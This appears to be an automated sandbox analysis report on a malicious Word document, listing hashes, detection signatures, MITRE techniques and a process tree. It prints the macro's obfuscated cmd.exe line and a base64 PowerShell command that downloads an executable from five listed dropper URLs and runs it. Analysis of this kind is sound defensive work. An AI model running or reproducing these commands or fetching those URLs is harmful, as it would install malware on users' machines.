b310420513b142dbff7001fb48a391591d97ffc1ed7564805c978fe60a971c51

General

Target

778e36d4666cb974072baed674317ab2_JaffaCakes118.doc
Size

77KB
MD5

778e36d4666cb974072baed674317ab2
SHA1

02a82a2f3e193884c9f2a530ca6b777102939e98
SHA256

b310420513b142dbff7001fb48a391591d97ffc1ed7564805c978fe60a971c51
SHA512

089d9a5988459062a736e14446d536f46385437da2faffe00e651cfdcaae6b1579b1fcac25b1ffa1040adf955e0bc182e353e746cb4e773c80ba8355b32eda1b
SSDEEP

1536:3nptJlmrJpmxlRw99NBq+axRc6MT4I6Dhl93tCX:Zte2dw99fHn8

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://tresillosmunoz.com/2HB

exe.dropper

http://tonyleme.com.br/8l3XcSKQ

exe.dropper

http://sg2i.com/wwG

exe.dropper

http://lunacine.com/CQ

exe.dropper

http://www.yuanjhua.com/OwUzt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3716	4800	Cmd.exe	82

Blocklisted process makes network request 4 IoCs

flow	pid	Process
33	1964	powershell.exe
38	1964	powershell.exe
43	1964	powershell.exe
50	1964	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
3716	Cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4800	WINWORD.EXE
4800	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1964	powershell.exe
1964	powershell.exe
1964	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1964	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4800	WINWORD.EXE
4800	WINWORD.EXE
4800	WINWORD.EXE
4800	WINWORD.EXE
4800	WINWORD.EXE
4800	WINWORD.EXE
4800	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4800 wrote to memory of 3716	4800	WINWORD.EXE	87
PID 4800 wrote to memory of 3716	4800	WINWORD.EXE	87
PID 3716 wrote to memory of 1964	3716	Cmd.exe	98
PID 3716 wrote to memory of 1964	3716	Cmd.exe	98

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\778e36d4666cb974072baed674317ab2_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Windows\SYSTEM32\Cmd.exe
  Cmd /V/C"^s^e^t N^Y^GD==A^A^I^AAC^A^gA^A^I^A^AC^Ag^AA^IA^AC^AgAAI^AAC^A^g^AAIAAC^Ag^AAIA^AC^A^9BQf^AsH^AoBwY^A^QH^A^hBw^Y^A^0^H^A^7^A^w^a^AEGA^lBgcA^IG^A7^AQ^d^AIH^A^EB^AJAAC^At^BQ^ZAQHA^J^B^Q^LAUGArB^w^bAY^HAu^B^Q^S^As^D^A^p^AQd^AIH^AEB^A^JAAC^As^Aw^a^AkG^A^H^B^A^J^AgCAlB^Ab^AkGA^G^BAZAEGAvB^A^bA^4^G^A3Bw^b^AQE^A^uA^Q^a^A^0GA^GB^AJAsH^A5^BgcA^Q^HA^7B^QK^A^sG^AW^B^wSAQC^A^gAgb^A^kG^AgA^w^aA^kGAHBAJA^gCA^o^BwY^AE^G^Al^BgcA^8GA^m^Bw^O^AcCAl^BAeAU^G^A^uAwJAsCA1^Bw^QAoH^AkA^wKAcCAcBwJA^sC^A^j^BQaA^w^G^AiB^Qd^A^AH^A^6^Ag^d^A4^GAl^B^AJ^A0^DA^1BgcAQ^E^AkA^wO^AcCA^2^Ag^M^AUD^AnAAIA^0^D^Ag^A^Qd^A^MEA6B^A^JAsD^ApA^wJ^AA^EAnA^A^KA^QHAp^B^AbA^AH^ATB^g^L^AcC^A^0Bg^eAU^FA^3^BwTA^8CAt^Bw^bAMGA^u^A^QYAUHA^o^Bg^a^A4^GA^h^B^QdAkH^AuA^w^dAcHA^3B^wL^A^8C^A6AAc^AQ^H^A0^BAaAAEAR^Bw^Q^A^8C^A^tB^wbA^M^G^AuAQ^Z^A4GA^pB^wY^A^E^G^Au^BQ^d^A^wGAvAw^LAoDAw^BA^d^AQH^Ao^B^A^Q^AcEA^3^B^w^dA8C^At^Bw^bAM^G^A^u^A^QaA^IDAnB^wcA8C^AvAgO^A^A^H^A0^B^AdAg^GA^ABQ^U^A^s^EA^TB^wYAg^FAz^AAbA^gD^AvAgc^AIGA^u^AQbA8G^A^jB^gLAU^GAtBQ^ZA^w^GA5Bgb^A8^G^A^0^BwL^A^8C^A^6^A^AcAQH^A^0BAa^AA^EACB^ASAI^D^Av^A^Qb^A^8^GA^jB^gLAoH^Av^BgbAU^H^A^tBwc^A^8^GA^s^BA^b^A^kGAzBQZA^IH^A0B^w^LA8CA6^AAcA^QHA^0B^A^aAcCA9A^waA^Y^FAL^B^A^J^A^sD^A0B^g^b^AU^G^A^p^B^A^bA^M^E^A^i^B^QZAc^FAu^A^A^dA^U^GA^OBA^IA^QH^Aj^B^Q^ZAoGA^i^Bw^b^A0C^A^3BQ^Z^A^4GA9^AQa^A^0GAGBA^J e- ll^ehsr^e^wop&&^f^or /^L %^O ^in (9^0^5,^-1,0)^do ^s^et ^q0=!^q0!!N^Y^GD:~%^O,1!&&^i^f %^O ^l^e^q ^0 ca^l^l %^q0:^~^4%"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABGAG0AaQA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABLAFYAawA9ACcAaAB0AHQAcAA6AC8ALwB0AHIAZQBzAGkAbABsAG8AcwBtAHUAbgBvAHoALgBjAG8AbQAvADIASABCAEAAaAB0AHQAcAA6AC8ALwB0AG8AbgB5AGwAZQBtAGUALgBjAG8AbQAuAGIAcgAvADgAbAAzAFgAYwBTAEsAUQBAAGgAdAB0AHAAOgAvAC8AcwBnADIAaQAuAGMAbwBtAC8AdwB3AEcAQABoAHQAdABwADoALwAvAGwAdQBuAGEAYwBpAG4AZQAuAGMAbwBtAC8AQwBRAEAAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHkAdQBhAG4AagBoAHUAYQAuAGMAbwBtAC8ATwB3AFUAegB0ACcALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJAB6AEMAdQAgAD0AIAAnADUAMgA2ACcAOwAkAEQAcgB1AD0AJABlAG4AdgA6AHAAdQBiAGwAaQBjACsAJwBcACcAKwAkAHoAQwB1ACsAJwAuAGUAeABlACcAOwBmAG8AcgBlAGEAYwBoACgAJABHAGkAawAgAGkAbgAgACQASwBWAGsAKQB7AHQAcgB5AHsAJABGAG0AaQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABHAGkAawAsACAAJABEAHIAdQApADsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABEAHIAdQA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD8616.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_abbxsgqm.3mp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\526.exe

Filesize
114B

MD5
e89f75f918dbdcee28604d4e09dd71d7

SHA1
f9d9055e9878723a12063b47d4a1a5f58c3eb1e9

SHA256
6dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023

SHA512
8df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0

Download Submit
memory/1964-35-0x000001C5A5790000-0x000001C5A57B2000-memory.dmp

Filesize
136KB

Download
memory/4800-29-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-7-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-8-0x00007FFE0F630000-0x00007FFE0F640000-memory.dmp

Filesize
64KB

Download
memory/4800-5-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-3-0x00007FFE0F630000-0x00007FFE0F640000-memory.dmp

Filesize
64KB

Download
memory/4800-10-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-9-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-11-0x00007FFE0D450000-0x00007FFE0D460000-memory.dmp

Filesize
64KB

Download
memory/4800-12-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-14-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-15-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-13-0x00007FFE0D450000-0x00007FFE0D460000-memory.dmp

Filesize
64KB

Download
memory/4800-0-0x00007FFE0F630000-0x00007FFE0F640000-memory.dmp

Filesize
64KB

Download
memory/4800-30-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-31-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-6-0x00007FFE0F630000-0x00007FFE0F640000-memory.dmp

Filesize
64KB

Download
memory/4800-2-0x00007FFE0F630000-0x00007FFE0F640000-memory.dmp

Filesize
64KB

Download
memory/4800-4-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-1-0x00007FFE4F64D000-0x00007FFE4F64E000-memory.dmp

Filesize
4KB

Download
memory/4800-540-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-541-0x00007FFE4F64D000-0x00007FFE4F64E000-memory.dmp

Filesize
4KB

Download
memory/4800-542-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-543-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-544-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/4800-564-0x00007FFE0F630000-0x00007FFE0F640000-memory.dmp

Filesize
64KB

Download
memory/4800-565-0x00007FFE0F630000-0x00007FFE0F640000-memory.dmp

Filesize
64KB

Download
memory/4800-567-0x00007FFE0F630000-0x00007FFE0F640000-memory.dmp

Filesize
64KB

Download
memory/4800-566-0x00007FFE0F630000-0x00007FFE0F640000-memory.dmp

Filesize
64KB

Download
memory/4800-568-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads